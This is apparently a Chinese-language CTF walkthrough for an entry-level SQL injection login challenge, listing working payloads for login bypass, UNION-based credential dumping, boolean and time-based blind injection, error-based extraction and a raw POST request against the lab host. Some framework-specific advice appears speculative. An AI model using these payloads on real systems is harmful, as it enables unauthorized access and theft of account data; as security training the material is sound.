sqli注入

🎯 题目分析

这是一道 入门级 SQL 注入(SQLi) 题目,属于 登录绕过 + 联合查询 类型,后端是 Sinatra 框架。你之前的 payload 格式错误,导致服务器返回了框架提示页面,现在我们一步步解决它。


🔍 第一步:判断注入点

  1. 访问目标地址 http://49.232.142.230:14839,会看到一个登录表单(用户名 + 密码)。

  2. 后端 SQL 逻辑大致为: sql

    复制代码
    SELECT * FROM users WHERE username = '$username' AND password = '$password'
  3. 我们需要构造 payload 来篡改 SQL 逻辑,绕过登录或直接获取数据。


✅ 第二步:构造正确的注入 payload

方法 1:万能密码登录绕过(最简单)

用户名 输入框中填入:

plaintext

复制代码
admin' OR 1=1 -- 
  • admin':闭合前面的单引号,让 SQL 提前结束用户名匹配
  • OR 1=1:让条件恒成立,无论密码是什么都能查到数据
  • -- :注释掉后面的 SQL 语句,避免语法错误

密码随便填(比如 123),提交后即可登录成功,进入后台拿到 flag。

方法 2:联合查询直接获取密码(进阶)

如果登录绕过不行,就用联合查询直接拖库:

plaintext

复制代码
admin' UNION SELECT 1, '4fc82b26aecb47d2868c4efbe3581732a3e7cbcc6c2efb32062c08170a05eeb8$1' -- 
  • 这个 payload 会让数据库返回我们构造的 admin 密码哈希,登录后即可拿到 flag。

🚀 第三步:实操步骤

  1. 打开登录页面,在 用户名 输入 admin' OR 1=1 -- ,密码输入任意值。
  2. 提交表单,成功登录后页面会显示 flag。
  3. 如果登录后没看到 flag,就查看页面源代码,flag 通常藏在注释或隐藏元素里。

💡 关键注意点

  • 你之前的 URL 写法 index.php=admin'%20or%20'1'='1 是错误的,这道题是 POST 表单注入,不是 GET 参数注入。
  • 必须在 用户名输入框 里填 payload,而不是直接改 URL。
  • 注意 -- 后面必须加一个空格,否则注释会失效。

🎯 最终预期结果

登录成功后,页面会显示类似 flag{xxxxxxxxxxxxxxxxxxxx} 的字符串,复制提交即可。

🚀 除了万能密码绕过,这道题还有这些解法

这道题是经典的 入门级 SQL 注入(Sinatra 框架),除了万能密码登录,还有以下几种思路:


1. 联合查询注入(Union Query)

如果万能密码被过滤,或者想直接拖库,可以用联合查询获取数据库信息。

核心思路 :利用 UNION SELECT 拼接查询,让数据库返回我们想要的数据。

  • 先判断列数: sql

    复制代码
    admin' ORDER BY 3 -- 

    如果报错,说明列数 < 3;直到不报错为止,得到列数。

  • 再获取数据库名 / 表名 / 字段: sql

    复制代码
    admin' UNION SELECT database(), user() -- 
  • 最后获取 flag 或密码: sql

    复制代码
    admin' UNION SELECT username, password FROM users LIMIT 1 -- 

拿到密码后,直接登录即可得到 flag。


2. 布尔盲注(Boolean Blind SQLi)

如果页面只返回 "成功 / 失败" 两种状态,没有回显,就用布尔盲注逐字符猜解数据。

示例 payload(猜数据库名长度):

sql

复制代码
admin' AND length(database())=5 -- 
  • 页面正常 → 长度正确
  • 页面异常 → 长度错误然后逐位猜解每个字符:

sql

复制代码
admin' AND substr(database(),1,1)='c' -- 

直到猜出完整数据库名、表名、字段名,最后拿到 flag。


3. 时间盲注(Time-Based Blind SQLi)

如果页面连 "成功 / 失败" 都不区分,就用时间盲注,通过延迟来判断数据。

示例 payload

sql

复制代码
admin' AND IF(ascii(substr(database(),1,1))=99, sleep(5), 0) -- 
  • 如果页面延迟 5 秒才响应 → 第一位字符是 c
  • 否则 → 不是逐位猜解,最终拿到 flag。

4. 报错注入(Error-Based SQLi)

如果页面会返回数据库错误信息,可以利用报错函数直接爆出数据。

常用函数

  • MySQL:extractvalue()updatexml()

  • 示例 payload: sql

    复制代码
    admin' AND extractvalue(1, concat(0x7e, (select database()), 0x7e)) -- 

页面会直接在报错信息里显示数据库名,继续猜解即可拿到 flag。


5. POST 数据包注入(针对表单场景)

这道题是 POST 表单注入,除了在用户名框输入 payload,还可以直接修改 POST 数据:

Burp Suite 示例

http

复制代码
POST /login HTTP/1.1
Host: 49.232.142.230:14839
...

username=admin' OR 1=1 -- &password=123

直接发送这个数据包,就能绕过登录,拿到 flag。


6. 利用框架特性(Sinatra 特殊注入)

从你之前的页面提示 get '/index.php=admin'%20or%20'1'='1' do 可以看出,后端是 Sinatra 框架,可能存在 路由注入参数解析漏洞

  • 尝试构造特殊路由 payload: plaintext

    复制代码
    /admin' OR '1'='1
  • 或直接在 URL 中注入: plaintext

    复制代码
    http://49.232.142.230:14839/?username=admin' OR 1=1 -- 

如果框架把 URL 路径 / 参数直接拼接到 SQL 里,就可以直接注入拿到 flag。


💡 总结

表格

方法 适用场景 优点 缺点
万能密码绕过 无过滤、入门题 最简单、最快 容易被过滤
联合查询 有回显、列数已知 直接获取数据 需要知道列数
布尔盲注 无回显、仅状态 稳定可靠 速度慢、繁琐
时间盲注 无任何回显 最通用 速度极慢
报错注入 页面返回错误 速度快、直接 依赖报错功能
框架特性注入 特定框架(Sinatra) 可能绕过防护 依赖框架实现

🎯 推荐顺序

  1. 先试 万能密码绕过(最简单)
  2. 不行就试 联合查询
  3. 再不行就用 布尔 / 时间盲注
  4. 最后尝试 框架特性注入
相关推荐
志栋智能2 小时前
AI超自动化运维,让IT运维自动化门槛更低
运维·网络·人工智能·安全·自动化
moton20172 小时前
TLS握手流程深度解析:从 ClientHello 到 Finished 的完整安全流程
安全·架构·物联网架构·mqtt topic设计
PyHaVolask2 小时前
数据存储安全技术
安全
攻城狮在此2 小时前
华为交换机ACL配置(基本ACL、高级ACL)
网络·安全·华为
缘来是黎2 小时前
腾讯高防域名
网络·安全
桌面运维家2 小时前
ARP防火墙下网络负载均衡:配置、排错与安全
网络·安全·负载均衡
zhojiew2 小时前
[INFRA] EMR集群安全配置传输中加密和Kerberos认证配置详解
安全·aws·emr·bigdata
moton20172 小时前
TLS协议原理全解析:从SSL到TLS1.3的安全演进
网络协议·安全·ssl
聚铭网络2 小时前
【一周安全资讯0321】工信部启动工业数据筑基行动,建设面向AI赋能的高质量行业数据集;360回应“安全龙虾”私钥泄露事件
人工智能·安全